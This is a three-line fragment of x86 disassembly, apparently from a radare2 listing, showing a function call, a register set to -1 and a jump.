call fcn.0041e4af
or esi, 0xffffffff
jmp 0x433446